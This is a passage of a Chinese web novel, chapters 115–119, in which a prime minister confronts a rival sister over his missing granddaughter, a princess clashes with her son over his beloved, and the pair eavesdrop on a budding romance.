顾瑾焱透过车窗,看到宰相脸色阴沉,带着一众随从径直进府去了。
看那气势汹汹的样子,不像是来感谢殷琉璃的。
有点儿不对劲儿。
顾瑾焱默了默,这才叫醒殷琉璃,
“琉璃,宰相刚进你府邸,不知为何。”
“宰相?”
殷琉璃忍不住打了个哈气,“这么早,他来做什么?”
顾瑾焱沉声道,
“他气势汹汹,不像来谢你,倒像是来找麻烦的……”
殷琉璃皱眉道,“走,回去看看。”
……
正堂,宰相负手而立,脸色冷肃,
“殷侯爷,请你家二小姐前来,本相有话问她!”
“不知大人有何事询问小女?”
殷镜堂看见他就头大,只能小心翼翼陪笑,“小女一早就出去了,不知大人前来……”
宰相脸色一沉,
“出去了?她去了哪儿,给本相把她叫回来!”
看他脸色不对,殷镜堂硬着头皮说,
“我也不知她去了哪儿,只是一早就急匆匆给出去了。
大人有什么事情,莫若先跟镜堂说?”
宰相冷冷看了他一眼,转身坐了下来,
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>“不必,本相便在这里等她!”
殷镜堂只好陪在一旁,心里一个劲儿的打鼓。
不知道殷玉珠有没有把事情办妥,宰相这么会这么快找上门来?
这时,殷琉璃和顾瑾焱并肩而来,
“宰相大人要见殷玉珠?见她做什么?”
“女佐使,顾世子。”
看到殷琉璃,宰相冷肃的脸上才有了一丝缓和,沉声道,“不妨告诉二位,昨日我棠儿出宫,半路遇上了你殷侯府的二小姐。
不知她跟我棠儿说了些什么,棠儿便不知所踪,老夫怀疑她对我棠儿做了什么,特来问上一问。”
殷琉璃和顾瑾焱对视一眼,心头顿时也起了一抹怀疑。
殷玉珠曾经遇见过沈清棠,后来沈清棠就出事了,难道是她做了什么手脚?
若非知道殷玉珠和无崖子那个妖道,不清不楚,殷琉璃也不会怀疑到她。
殷镜堂暗暗吸了口气,忙说,
“玉珠与沈小姐早就相识,半路相遇,说上几句话不是很平常的事情?
宰相大人不会怀疑是我玉珠,把沈小姐掳走的吧,她一个女儿家,哪有那样的本事!”
宰相冷冷哼了一声,
“本相并没有说是她,只是询问她跟我棠儿说了些什么!
为何见过她之后,我棠儿就不知所踪了呢?”
殷镜堂皱起眉头,刚要反驳,就听见身后传来殷玉珠的声音,
“玉珠见过宰相大人,见过爹。”
一时间,所有人的目光都**在她的身上。
殷玉珠脸色淡然的看着众人,唇边勾起一抹倨傲的笑意,
“玉珠来迟了,不知宰相大人会来,还望大人见谅。
不知,大人有什么话要问玉珠?”
宰相大人脸色一沉,
“殷玉珠,昨日你对我棠儿说了什么,做了什么!还不从实招来!”
“什么事呀,让宰相大人都亲自登门兴师问罪?”
殷玉珠身后,传来一个慵懒不屑的声音。
一瞬间,所有人的目光都**在那人身上,没人想到她竟会出现在此!
殷琉璃微微眯了眯眸子,看向顾瑾焱。
顾瑾焱心头,更是划过一抹寒意。
第115章 儿子随娘
“老臣见过殿下。”
宰相眯了眯眸子,不动声色道,“殿下如何在此?”
成懿公主指尖撩过发丝,神色慵懒,瞥了他一眼,
“这话应该本宫来问才是,一大清早的,宰相大人为何在人家殷侯府耀武扬威?”
宰相微微躬身,凝眉道,“老臣……”
“焱儿……”
成懿并不等他回话,凤眸望向顾瑾焱,“你昨夜偷溜出去,知不知道母亲有多担心?”
宰相脸色不觉一尬。
敢在他这位两朝原来面前,如此倨傲不逊的,也就是这位当朝长公主了!
她与圣上膝下众位皇子不同。
不用为皇位明争暗斗,更不用掺和朝廷派系,斗的你死我活。
圣上与皇后对她唯一的期冀,就是要她平安康健,荣华富贵的过完她的一生。
“儿臣见过母亲。”
顾瑾焱抬头望着抬轿上的成懿公主,不紧不慢的说,
“瞧母亲这话说的,明明是自己的府邸,儿臣进去出来怎么能算偷溜?”
成懿抬起纤细的手指,在他额头上戳了一下,恨铁不成钢道,
“别以为我不知道,你这……罢了,回府再跟你算账!”
顾瑾焱挑了挑眉,
“母亲先行回府,儿臣还有事情要办。”
“为她?”
成懿公主冷笑的眼神扫过殷琉璃,语气不善,“殷大小姐,你究竟有何要事,敢支使本宫的儿子为你操劳一夜?”
殷琉璃淡淡看了她一眼,
“很重要的事。”
“母亲怕不是怪错人了,昨晚可是儿臣上赶着去找的琉璃。”
话音未落,顾瑾焱便挡在她的面前,桀骜不驯的说,“母亲若不信,可以问问宰相大人,儿臣追了半夜,才追到她。”
成懿公主脸色一沉,
“你……”
“殿下,这个老臣可以作证。”
宰相不着痕迹的勾了勾唇,朗声道,“昨夜世子爷骑马追出了城外,才追到女佐使,连老臣都很惊讶。”
成懿公主脸上顿时有些挂不住,愠怒道,
“本宫不知道你用了什么妖邪法子,把我儿**于鼓掌之中!
不妨告诉你,只要本宫活着一天,你就别妄想嫁进我公主府的大门!”
殷琉璃眨了眨清澈的眸子,
“殿下多虑了,琉璃从未想过进公主府的大门……”
“琉璃!”
顾瑾焱心头顿时一紧,一把握住殷琉璃的手腕。
母亲三番五次找殷琉璃的麻烦,他生怕这丫头脾气上来,说出什么跟他一刀两断的话。
殷琉璃眼神清淡的看了他一眼,开口道,
“我会新开一扇门,让顾瑾焱进来。”
话音一落,所有人都惊愕的看着她。
身为女子,还从未有人敢说这般放肆大胆的话!
什么叫新开一扇门?
难道她要顾瑾焱这个堂堂世子爷,入赘不成?
“琉璃!”
顾瑾焱心里跟钻进个火球般滚烫,激动到语无伦次,“我没想到,你、你……”
成懿公主勃然大怒,
“殷琉璃,你到底知不知道羞耻两个字怎么写?
这种恬不知耻的话,你竟然也能说得出口,你要本宫的儿子给你入赘不成!”
殷琉璃懒得多说,挑眉道,
“只要顾瑾焱愿意,也不是不行……”
“大姐姐,身为女子,你怎能说出这样不知廉耻的话!”
殷玉珠附和成懿的话,故作惊讶道,“你、你让殷侯府,让爹爹的脸面置于何处!”
殷琉璃冷冷扫了她一眼,
“与你有什么关系!”
殷玉珠用委屈的眼神,看向成懿公主。
殷琉璃不觉蹙眉,她什么时候依附上成懿公主了?
“放肆!”
成懿重重一巴掌拍在椅子上,怒道,“来人!殷琉璃不敬本宫,出言顶撞,给本宫把这恬不知耻之人拖下去,赐杖一百!”
“我看谁敢!”
顾瑾焱冷喝一声,将上前抓人的奴仆推开,挡在殷琉璃身前,
成懿满脸冷怒,“焱儿,让开!”
顾瑾焱挑了挑眉,“母亲真要杖责琉璃?”
“是又如何?你不是又要为这个不知所谓的女人,当众与你母亲做对吧!”
成懿公主咬牙切齿道,“你别忘了,你可是我的儿子!”
“儿臣不敢。”
顾瑾焱轻描淡写的哼
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了一声,躬身行礼道,
“琉璃无意顶撞母亲,一切都是儿臣的错。
母亲要打,就打儿臣好了。一百杖不够母亲解气,儿臣再自请一百杖如何?”
说着,抬手将衣袍一撩,将下面淡黄色缎面裤子,露在众人面前。
在场众多奴婢、嬷嬷吓得纷纷掩面扭头,不敢去看。
“呀!”
“世子爷,当众掀衣有失礼仪,快把衣袍放下来……”
……
殷琉璃脸上不觉露出一抹好笑。
没想到他会来这么一手,分明是在耍赖威胁他的母亲。
怪不得京城盛传他胡作非为,不务正业,看来还是有些真的。
成懿公主脸上顿时一片铁青,又急又怒,啪啪的拍着椅子喝道,
“这像什么话!快放下来,放下来!”
顾瑾焱不依不饶的说,
“母亲不打,就消不了心里这口气。母亲要打,儿臣又舍不得让琉璃受气。
横竖都是儿臣的错,儿臣甘愿受罚还不成嘛!”
“焱儿!你平日里如何混闹也就罢了,当着这么多人的面儿,你真要让母亲难堪吗!”
成懿公主气急败坏道,“你可是我大昶朝皇族,世子爷!到底是谁教给你这般蛮横无赖!”
顾瑾焱义正言辞的说,
“儿子随娘。”
成懿蓦地一怔,眼角通红,差点儿给他气哭了。
眼看僵持不下,顾瑾焱索性把手挪到腰带上,
“母亲还打不打?”
众人以为他又要把裤子脱了,吓得赶紧扭头捂眼。
殷琉璃差点儿没绷住笑出声。
没想到顾瑾焱越来越好玩了。
“殿下,容老夫多嘴一句。”
宰相看的实在解气,不过眼看着双方坚持,还是上前道,
“殷琉璃乃是圣上亲封的大理寺女佐使,身为朝廷四品命官。
殿下若非请了旨,是不能对她动手的。
还望殿下消消气,有什么话回去与世子爷慢慢说才是。”
成懿公主也没办法,再跟顾瑾焱这个魔头缠磨下去,也只好借着这个台阶冷冷道,
“罢了,本宫也不与你们废话!焱儿,给本宫滚回府去!”
第116章 逼问
顾瑾焱松开衣角,佯装乖巧的应了一声,
“儿臣遵命……不过,儿臣还有个热闹没凑完呢,凑完了再随母亲回去也不迟。”
说罢,他看了站在成懿公主抬轿旁的殷玉珠一眼,眸中闪过一抹冷笑。
殷玉珠被这不善的目光,看的心头一紧。
殷琉璃敏锐的捕捉到她眼睛里的一丝慌乱,不觉皱眉。
成懿被顾瑾焱气昏了头,不耐的说,
“胡闹,你有什么热闹要凑?”
“自然是老夫的热闹。”
宰相感激的冲顾瑾焱点头,声线冷沉了下来,
“殷二小姐,你还没有回答本相的问题!昨日你因何与我棠儿相见,你对她做了些什么!”
殷玉珠只得上前,小心翼翼的说,
“宰相大人何出此问?玉珠昨日在街上,碰见棠儿姐姐的轿子过来,便上前问候。
不过是随口了聊了几句赏荷宴的事情,有什么不对吗?”
宰相冷哼一声道,
“随口聊了几句?本相问你,为何你与棠儿聊过之后,她便失去了所有记忆,连自己如何出城,如何被人掳走都不记得了?”
“棠儿姐姐被人掳走?”
殷玉珠满脸惊讶,“她、她现在如何……”
宰相冷冷打断她的话,
“殷玉珠,你少装模作样!若不是你动了什么手脚,棠儿怎么会出事!
你给我老实交代,你到底对她做了什么!”
“宰相大人,玉珠冤枉啊!”
殷玉珠眼眶一红,神色惊恐的看着他,“玉珠手无缚鸡之力,能对棠儿姐姐做什么?竟不知大人如何将罪名安到玉珠头上来!”
宰相气势汹汹的逼近一步,周身十足的压迫感扑面而来,
“殷玉珠,你最好给我说实话!”
“我、我没有!难道我与棠儿姐姐说几句话,就成了罪人了嘛!”
殷玉珠被他的气势逼迫,吓得浑身发颤,嘤嘤哭道。
“她一个未出阁的姑娘家,能对你孙女做什么?”
成懿公主忽然哼了一声,声线不屑道,“宰相大人孙女儿被人掳走,不去捉拿贼人,反倒凶神恶煞的盘问一个姑娘,真是让本宫大开眼界!”
宰相沉着脸道,
“殿下不知内情,我棠儿就是在和她说了几句之后,才出事的……”
成懿公主呵呵笑了两声,语气讥讽的说,
“本宫也与大人说了半天话了,回头若是有个伤风感冒的,我府里岂不是要来找大人盘问?”
“殿下多虑,老臣并非此意,只是想问清楚实情罢了。”
宰相眼中闪过一抹意外,忙躬身辩解。
就在他弯腰的一瞬,殷玉珠眸中极快的闪过一抹冷笑。
殷琉璃不觉皱眉。
殷玉珠什么时候傍上成懿公主这条大腿了?
顾瑾焱脸色微凝,意味深长的问,
“儿臣竟不知,母亲什么时候与殷家二小姐认识?”
成懿脸色一沉,气恼的说,
“还知道关心你母亲?前几日,若不是本宫遇到玉珠姑娘,你怕是连你母亲的面儿都见不着了!”
“母亲发生何事,这么严重?”
顾瑾焱心头一惊,与殷琉璃对视了一眼。
殷琉璃暗暗蹙眉。
成懿愤愤的瞪了他一眼,
“行了,回去再与你说。你还嫌不够事多嘛,旁人的事情你少掺合!
宰相大人,本宫愿以人格担保,玉珠姑娘绝不是害你孙女的人。”
气氛忽然变得凝滞。
宰相也知道问不出什么了,只好隐忍着心头的火气,冷声道,
“殿下说的是,想来殷二小姐一个姑娘家,也做不出伤害我棠儿的是,是老臣多虑。”
殷玉珠屈膝,深深福了一下,这才嘤嘤哭着说,
“大人真的误会玉珠了……”
殷琉璃再次在那张沾满泪水的脸上,看到一抹若有若无的得意之色。
她心头一凛,暗中手指一翻,一道灵光从指缝间乍现。
这几日她无暇顾及殷玉珠,不知道她暗地里又做了什么见不得人的勾当!
就在灵光射向殷玉珠时,殷琉璃眸中闪过另一道若有若无的符光。
旁人自然看不见两道符光相撞,消散无形,殷玉珠还在情急辩解,
“玉珠对天发誓,真的没有对棠儿姐姐做过什么!别说玉珠没这个本事,就算有,玉珠也不会对棠儿姐姐不利呀……”
殷琉璃眸子不觉
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一敛。
有人暗中打了她的灵符!
难道是无崖子?
她微微缩了眸子,运行体内真气,在一众人中搜寻无崖子的气息。
在一众人群中,竟无一人异样。
成懿公主的话打断了她的思路,
“好了好了,玉珠,宰相大人不过是病急乱投医,误会了你。
闹了这般天,本宫也乏了……焱儿,还不跟母亲回府!”
“是。”
顾瑾焱给了殷琉璃一个眼神,用手悄悄在背后给她比了一个飞的手势。
他这是在叫她用鹤使传信呢。
殷琉璃瞬间了然,轻轻点头。
……
“听闻大姐姐在皇后娘娘跟前露了脸面,如今又攀上了宰相大人,好不威风啊?
妹妹都忘了跟姐姐道贺呢!”
等众人都走了,殷玉珠款步上前,拦住了殷琉璃的去路,话锋一转,满脸讥讽的说,
“不过,是该贺姐姐官袍加身,前途无量,还是贺姐姐有个成懿公主那般刁难的婆母,以后多得是好日子过?”
殷琉璃脸色平淡的扫了她一眼,“你想找抽?”
殷玉珠冷笑一声,“大姐姐说的这是什么话……”
“啪”
话音未落,殷琉璃抬手一巴掌,掴在她娇嫩的脸蛋上。
“你……”
殷玉珠吃了一惊,捂着火辣辣的脸颊,怒不可遏道,“你敢打我?殷琉璃,别以为我殷玉珠还是以前那般好欺负!
惹火了我,我定教你以后再无安生日子过!”
殷琉璃清澈的眸中,闪过一抹冷笑,
“沈清棠是你害的?”
殷玉珠顿了一下,眼神闪烁警惕,“你别胡说!”
“你都有本事挑衅我,要我没有安生日子过了,自然也有本事去害别人。”
殷琉璃冷冷的凝视着她,步步紧逼,“无崖子在哪儿?你们掳走沈清棠,目的何在!殷玉珠,你最好老实交代!”
殷玉珠被她逼的退了一步,咬牙道,
“不知道你在说什么!无崖子又是谁,我怎会知道?
殷琉璃,你休要诬陷我的清白!”
殷琉璃知道她不会说,但她的逼问,为她证明了一件要紧的事情。
第117章 表明立场
“你若清白,天底下的乌鸦都该是白的!”
她冷笑回怼,转身离开。
“殷琉璃,你得意什么?”
殷玉珠望着她的背影,恶狠狠道,“日子长着呢,我会让你有跪下来哭着求我的一天!”
殷琉璃满脸漠然。
她心中盘算的是,
暗中截住她灵符的人,并不时刻在殷玉珠的身边。
刚才那一巴掌,用了十足的力道。
殷玉珠身边若是有依仗的话,绝不会让自己吃这个亏。
宰相问罪之时,在场的除了宰相一行,就是成懿公主一众,和殷镜堂。
若截住她灵符的人真是无崖子,那他肯定混在这些人之中。
殷琉璃心头一动,莫非……
这件事她暂时还拿不准,要跟顾瑾焱商量一下才行。
……
“琉璃,你怎的才回来?”
刚进凤栖梧,甄始就急急忙忙的迎出来,拉着她的手,又是心疼又是担忧的追问,
“宰相大人孙女找到了?你端端的出去一个晚上,累不累?用了些吃食没有?”
殷琉璃心里一暖,冲她露出一个纯净的笑容,
“不累,娘,忙完我在顾瑾焱的别苑用过了。”
不管她在外是何身份,有多少本事,家里有娘在,她永远是那个长不大的孩子。
听见顾瑾焱,甄氏顿时松了口气,
“去他那里,也好也好,他总算会照顾人些。”
金嬷嬷挤眉弄眼的打趣道,
“夫人可是说笑了,那位养尊处优世子爷,也是会照顾人的?
也就是在咱家大小姐跟前儿,才那么鞍前马后的罢了。”
说的甄氏也掩口而笑,
“可不是?琉璃也只有跟他在一起,我才安心!”
殷琉璃正想着事儿,听她俩这么说,不由脸蛋微红,嗔道,
“娘跟嬷嬷,就会拿我耍笑!不跟你们说了,我回房歇歇。”
“大姑娘喝些燕窝粥再歇,也能睡的安稳些。”
金嬷嬷一叠声的说,“夫人一早起就去给你炖上了,如今罩在灶上闷着,老奴这就给大姑娘拿去!”
……
房中,殷梅殷竹已经为她备好热汤,服侍她净了手脸,换了身宽松的衣裳,便围着她叽叽喳喳的问了起来,
“主子,宰相大人的孙女儿在哪儿找到的?”
“是呀,主子干嘛不叫咱们跟着,害咱们好奇了一晚上!”
“主子快说,谁胆子那么大,连宰相大人的孙女都敢掳走……”
……
两人叽叽喳喳的吵的耳根子疼。
殷琉璃笑道,
“不叫几位姐姐跟着,是让你们好好守着我娘。
我不在的府里的时候,也只有你们几个在,才能让我安心。”
殷梅笑呵呵的说,
“主子把夫人交给我们,尽管放心便是。”
殷琉璃长长的打了个哈气,脸上闪过一抹疲倦之意,
“至于那位沈小姐,寻的实在有些波折……求姐姐们让我好好睡一觉,睡饱了再跟你们细说。”
“是。”
两人连忙为她宽衣,服侍她上床安寝。
另一边儿的公主府。
成懿公主气的不轻,回去就拿了家法,作势要教训自己那个不争气的儿子。
顾瑾焱也不争辩,乖乖的往母亲脚下一跪。
倒把成懿整不会了,拿着家法的手都在哆嗦,
“焱儿,你还没有把她娶进门呢,就敢为她顶撞我了?
你是我含辛茹苦养大的孩儿,你知不知道我心里多难受!”
顾瑾焱慢悠悠的说,
“母亲处处刁难琉璃,难道她不难受?”
成懿噎了一下,脸色铁青道,
“你……”
顾瑾焱俊美的脸上闪过一抹复杂的神色,挑眉道,
“儿臣斗胆问一句,若祖母事事处处刁难母亲,而父亲视若无睹,不袒护偏私护着母亲,母亲又该做何想法?”
“她敢!”
成懿骨子里的优越感涌上心头,不觉冷笑,“我乃大昶朝长公主,你祖母有几个胆子敢刁难于我?”
顾瑾焱声线清冷,
“大昶公主,也不是没有被夫家刁难的!母亲难道忘了,永盛公主,便因公婆刁难,驸马不管不问,整日郁郁寡欢,后在宫宴上醉酒哭闹,被皇祖父训斥?
丰华
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公主,因驸马好色,纳了一房又一房的妾室,她失了宠便大闹府邸,最后落了个善妒的名声,成了整个皇室的笑话?”
成懿蓦地一怔。
“这些年来,父亲母亲恩爱如初,发生任何事父亲都会站在母亲这边,就算母亲无理也要偏私袒护。”
顾瑾焱缓缓有力的说,“若非如此,母亲心里会不会伤心,难受,失望,觉得自己所嫁非人?”
成懿蓦地怔住。
“以己度人,身为女子,嫁入夫家就是外姓人,倘若连自己的夫婿都不护着她,那她以后要过什么样的日子?”
顾瑾焱幽幽的说,“身为男子,难道要看着自己的妻子受气却不袒护,凭她难过、怨愤,到最后闹的家不为家?”
成懿握着家法的手,微微一颤。
顾瑾焱声线沉甸甸的说,
“儿臣要跟母亲说的,就是这么多。母亲想得通就好,想不通,儿臣便先跟母亲告罪。
今日先领了家法,以后倘若母亲再刁难琉璃,儿臣该做什么,照旧会做!”
成懿深深吸了一口气,不可思议的看着他。
顾瑾焱不等她发话,径自起身道,
“儿臣昨日熬了一夜,身心俱疲,母亲不动家法的话,恕儿臣先行告退。”
说罢,他转身便走。
“焱儿……”
成懿呆呆的望着那个修长的背影,心头说不出的五味杂陈。
她极不满意殷琉璃的出身,更厌恶她骄纵,眼睛里没谁的性子。
可儿子的话,在她心头给了重重的一击。
顾瑾焱并未回头。
这些话,他不跟母亲说摆出态度,表明立场,以后就是给殷琉璃埋下的雷。
惹怒母亲,他拿捏着分寸,也有办法把母亲哄回来。
可惹了殷琉璃……
顾瑾焱不敢想,那个傲娇的丫头说不定脾气上来,就头也不回的把他给甩了!
……
顾瑾焱一手托腮,眼巴巴的望了几次窗子,都没等到殷琉璃的鹤使来。
熬了一夜,他也有些撑不住,趴在书桌上昏昏沉沉的睡了过去。
梦里乱纷纷的,全都是殷琉璃的身影。
第118章 偷听八卦
“扑啦啦……”
不知过了多久,窗外传来一丝细微的声响,顾瑾焱蓦地睁开了眼睛。
一只小巧的鹤使飞了进来,轻飘飘落在桌上。
顾瑾焱疲惫的脸上,蓦地露出一抹笑意,迫不及待抓起纸鹤。
拆开,里面是几个清秀的小楷字体,
“别苑见。”
尽管只有三个字,顾瑾焱的嘴角还是抑制不住的扬了起来。
……
“大师兄!”
下了马车,殷琉璃就蝴蝶般飞了出去,欢喜大叫,“大师兄我回来啦!”
殷梅跟在后面,沉稳的笑道,
“主子慢些个。”
殷竹几个手里拎着大包小包,笑嘻嘻的说,
“主子还没休过半个时辰,就赶着来瞧她大师兄!”
“是呀,也不知这位大师兄是何方神圣,瞧把主子欢喜的……”
“主子买了这么多东西来,就知道这位大师兄在主子心里,身份多贵重了!”
……
殷琉璃兴冲冲奔向楚**的院子。
谁知厅堂中,坐着一个纤细如柳的身影,身着一袭颜色清丽的丝衣,头上点着些许珠翠。
一张线条柔和的侧脸,散发着微微光芒,望着楚**的眸子闪闪发亮。
大师兄有人了?
呸,大师兄有客人来了?
殷琉璃顿时放慢了脚步,冲院中一个侍女招手,小声问,
“喂,过来……她是谁呀?”
侍女上前笑嘻嘻的说,
“回世子妃的话,是宰相府的沈小姐,前来拜访楚公子。”
“哦!”
殷琉璃拍了拍脑门,恍然大悟。
她只看到沈小姐的侧脸,一时间没反应过来。
侍女忙道,
“沈小姐还带了不少谢礼来呢!奴婢这就替您通传公子爷……”
殷琉璃赶紧摆了摆手,
“别别,先让他们说话。”
没想到沈清棠能找到这儿来,亲自过来道谢。
她双明亮的眸子骨碌一转,脸蛋浮现出一抹娇俏顽皮的笑容。
她找了根离厅堂最近的柱子,闪身一躲藏在后面。
竖起两只耳朵悄咪咪的偷听。
“清棠回想当时,才知道楚公子以命相救,清棠感激不尽。”
沈青棠脸上娇羞不剩,低着头轻声,
“祖父还误会了楚公子,差点儿……
清棠从小养在祖父膝下,当时他老人家看我那样,心里着急,才不问青红皂白。
清棠替祖父道歉,还望楚公子不要见怪。”
说着,她起身盈盈的拜了下去。
“呃……”
楚**嘶哑的应了一声,连忙抬手虚扶了一下。
他指了指自己的喉咙,转身在纸上写下“不必客气”四个字。
沈清棠脸上闪过一抹惊讶,忙问道,
“你的声音……楚公子这是怎么了?是、是因为救我吗?”
当然是!
殷琉璃心疼的撇嘴,大师兄不是为你,还能为谁?
你中的邪符霸道十足,以大师兄的修为,都无法在短时间内化解。
为了救你,他可豁出去半条命呢!
看沈清棠眼眶泛红,楚**脸色淡淡的摆了摆手,在纸上写道,
“情有可原,不必挂心。”
“切……”
殷琉璃在心里不屑的嗤了一声。
大师兄从小到大哪儿都好,就是性子太过随和,做什么都先替别人着想。
当时她都快被宰相气**!
以她的小暴脾气,宰相就是请了**老子来求她,她都不会出手!
看着那张俊朗诚恳的脸庞,沈清棠心头蓦地闪过一抹悸动。
她悄悄用帕子擦了下眼睛,声线微颤的说,
“楚公子与清棠萍水相逢,为救清棠落伤的这么重,除了感激,清棠真不知该说些什么……还请楚公子受清棠一拜!”
说着,她上前一步,又跪了下去。
楚**脸上闪过一抹无奈。
苦于口不能言,他只好再次躬身,抬手虚扶。
沈清棠身子刚刚好转,身子还是发虚的,下跪的时候眼前突然冒起一片金星,就要晕倒。
这下楚**的虚扶,变成了真扶,连忙将她接在了手里。
他张了张嘴,只能用眼神询问,“你还好吗?”
沈清棠落入他结实的手臂,一张柔美的脸蛋瞬间变得通红。
她根本不敢直视楚**的眼睛,慌乱起身嚅嗫的说,
“多、多谢楚公子,适才突然有些不适,让公
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子见笑。”
楚**轻轻摇头,看她坐下,才缓缓写道:
你魂魄尚未完全安定,应在家中静养。
沈清棠脸上闪过一抹羞涩,抿唇轻声说,
“清棠感念公子救命之恩,不亲自前来道谢,心头不安。”
楚**又摇了摇头,清冷的眼睛里带上一抹笑意,抬手写道,
“不必客气,早些回去静养。”
沈清棠看了那行笔力苍劲的小子,脸上不觉闪过一抹失望,深深抿了下唇,轻声问道,
“楚公子是嫌清棠啰嗦?”
她回去是要好好静养,可不知为什么,满脑子都是楚**那张清隽的面容。
尤其是那双清冷坚定的眼神,只要一闭眼就在脑海中挥之不去。
她见多了名门望族的大家公子,因时常进宫宴饮,与众多皇子也认识。
可从来没在一个男人脸上,见过这般清冷纯粹,干净到不染杂尘的一张脸。
她控制不住的想到楚**。
“啪嗒!”
殷琉璃一巴掌拍在桌子上。
她躲在柱子后面,看的都要急**。
大师兄真笨!
傻子都能看出来,人家沈小姐特意过来道谢,眼巴巴的想跟你多聊几句。
你可好,不是点头就是摇头!
我知道你还不能言语,倒是多写点儿给人家看呀,怎么还赶人呢?
正替这个不解风情的大师兄着急,身后忽然多出个人来。
殷琉璃回头,顾瑾焱那张线条流畅的脸,正凑了上来。
“砰”
她的额头正撞在顾瑾焱的下巴上,疼的呲牙咧嘴。
“在这儿偷看什么?”
顾瑾焱抬手给她揉着脑门,贼头贼脑的往厅堂里打量。
“嘘!”
殷琉璃赶紧抬手挡唇,示意他别说话,那双清澈见底的眼睛使劲儿冲他眨眼。
古灵精怪的样子,惹的顾瑾焱心跳顿时漏了半拍。
他伸长脖子瞧了一眼,意味深长的勾起了唇角,凑到殷琉璃耳边悄声说,
“沈大小姐亲自登门,难得难得!”
殷琉璃眨了眨眼睛,抬手把他的脸推过去,在他耳边问道,
“她来谢我大师兄救命之恩,有什么好奇怪的?”
第119章 撮合
顾瑾焱冲殷琉璃勾了勾手指头,示意她把耳朵凑过来,低声说,
“宰相出身名门望族,家中规矩教导森严的狠,尚未出格的女儿家决不允许私自外出。
你没瞧见这位沈大小姐,身边连个跟着的嬷嬷都没有吗?
可见是偷偷跑出来,特意要见你大师兄的?”
殷琉璃惊奇道,
“还有这事儿?”
顾瑾焱一脸认真的点了点头,揪住她粉红色的耳尖,又把双唇凑了上去,
“依我看,宰相府这位千金小姐,对你大师兄有意思!”
“你是说沈清棠喜欢我大师兄?”
殷琉璃顿时瞪大眼睛,一脸惊喜的说,
“真的吗?那我岂不是要有师嫂了?”
“有师嫂这么开心?”
顾瑾焱幽深的眸子里,更是划过一抹惊喜。
殷琉璃点头如捣蒜,掰着手指头说,
“那当然,大师兄比我大七岁,这些年一直在玄清观待着,老大不小了,还是第一次有姑娘喜欢他呢!”
顾瑾焱的唇角,顿时比AK47还难压。
他故意这么说,就是想看殷琉璃的反应。
没想到这丫头非但不吃醋,还替她大师兄开心。
顾瑾焱这两天,憋在心里的一丝酸溜溜和不安,瞬间消散大半!
他轻轻戳了下殷琉璃纤细的肩膀,用眼神示意她接着偷听。
厅堂中,沈清棠垂头搅着手里的帕子,半晌没有说话。
楚**也不知该说些什么,两人之间气氛格外有些尴尬。
“楚公子为救清棠受伤,清棠不知如何感谢公子。”
沈清棠咬了咬唇,似乎鼓起了所有的勇气,轻声说,
“这些礼物不成敬意,还请公主收下。”
楚**心里暗暗叹了口气,除了殷琉璃,他实在没有多少与姑娘家打交道的经验。
殷琉璃跟他们五个师兄弟,从小到大一起吃饭,一起玩闹,混的没个姑娘样子。
面对热情的沈青棠,他真不知该怎么回应。
空气再次陷入一片死寂。
殷琉璃躲在柱子后面,替楚**着急,
“笨蛋啊大师兄,还愣着干什么?客气几句,收了礼物不就行了?”
顾瑾焱在她耳边笑盈盈的说,
“不收才对!楚兄这就收了礼物,沈大小姐可就没留下来,跟他说话的理由了!”
殷琉璃想了想,忙看向他,
“也对!可我大师兄本来就不善跟人说话,尤其是姑娘家……顾瑾焱,你说怎么办?”
两个侍女手中托着几样点心过来,正要往厅堂送去。
看见他俩躲在柱子后面偷偷咬耳朵,不觉会意一笑,
“奴婢见过世子爷,见过世子妃。”
顾瑾焱赶紧抬手嘘了一声,示意别打扰他俩看好戏。
他瞧见盘子中有一样是炒香的南瓜子,随手抓了一大把,塞进殷琉璃手里,坏坏的挑眉,
“能怎么办?看楚兄自己的本事了。来,吃!”
殷琉璃往嘴里丢了一颗南瓜子,抬手托腮,郁闷的说,
“对付妖魔鬼怪,我大师兄有的是本事,可对付姑娘,他可不行。
顾瑾焱,你不知道,我大师兄下山给村民瞧病,见到人家家里的姑娘,连话都不说一句呢!”
“咱们只管瞧热闹。”
顾瑾焱拨开一颗南瓜子,递到她的嘴边。
殷琉璃就着他的手,伸出舌尖一舔,把瓜子勾进嘴里吃着。
她不是故意的。
只是从小跟师兄们长大,跟亲近的人接触,她心里没有过男女之间避嫌的俗念。
就着手吃这种亲昵的动作只是出于本心。
可顾瑾焱就不一样了。
那条粉嫩的小舌头,在他手指上留下一丝若有若无的湿润温热,触电般的酥麻感瞬间传遍顾瑾焱全身。
光是轻轻舔触了一下手指,就在他心里掀起了惊涛巨浪。
若是成亲以后,洞房花烛,他能亲上一口……
顾瑾焱跟吃了一口蜜蜂屎似的,心里顿时美的找不着边儿。
“快看快看!”
殷琉璃扯了扯他的衣袖,挤眉弄眼的说,“怎么回事儿,沈小姐哭了?”
沈清棠眼中垂下大滴大滴的泪珠,一双通红的眸子怔忡的望着楚**,哽咽道,
“清棠知道冒昧,可也只能用这些礼物,表达清棠的感激之情。
楚公子若是不收,那清棠真不知该怎么半
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办好了。”
“喂,她这是以退为进,瞧着吧,楚兄连推脱都不知道该怎么推脱。”
顾瑾焱促狭的冲殷琉璃眨眼,又把手里剥好的半把南瓜子递了过去。
殷琉璃吃了满嘴的瓜子,满足的唔了一声,
“好吃诶……大师兄真笨!”
果然,沈青棠这一垂泪,楚**清淡的脸上有些慌乱,忙写了几个字递给她,
“礼物太过贵重,救危济难乃是修行之道,实在不必客气。”
沈清棠看了看,眼里的泪珠子噗噜噜又掉了一串。
楚**瞬间慌了手脚,赶紧拿过纸笔写道,
“多谢好意。”
沈清棠这才拿帕子擦了擦泪珠,抬头对他露出一抹动人的笑容,
“楚公子肯收下这些薄礼,清棠也心安了。”
楚**勉强笑笑,一双清淡无波的眸子不由自主望向门外。
他虽听不到殷琉璃和顾瑾焱的声音,可能感觉到两人的气息。
本指望小师妹过来帮他圆场,谁知这顽皮的小丫头,竟然躲在外面偷听!
不帮忙就算了,她还和顾瑾焱看起自己的热闹来了!
楚**顿时满心无奈。
沈清棠含羞看了他一眼,又柔声道,
“不知楚公子伤势如何,棠儿府中倒是有两位名医,各色珍稀药材也存了一些。
若楚公子不嫌弃,需要用到什么,尽管跟棠儿开口。”
她小心翼翼的展开话题,就想跟楚**多待一会儿。
沈清棠也不知道为什么,在楚**身边,她心里就感觉异常踏实,欢喜。
从来没有一个男子,给过她这种感觉。
楚**收回目光,轻轻摆手道谢。
他也不知道该跟沈清棠说些什么。
只是莫名其妙,礼物也收了,这姑娘怎么还没有告辞?
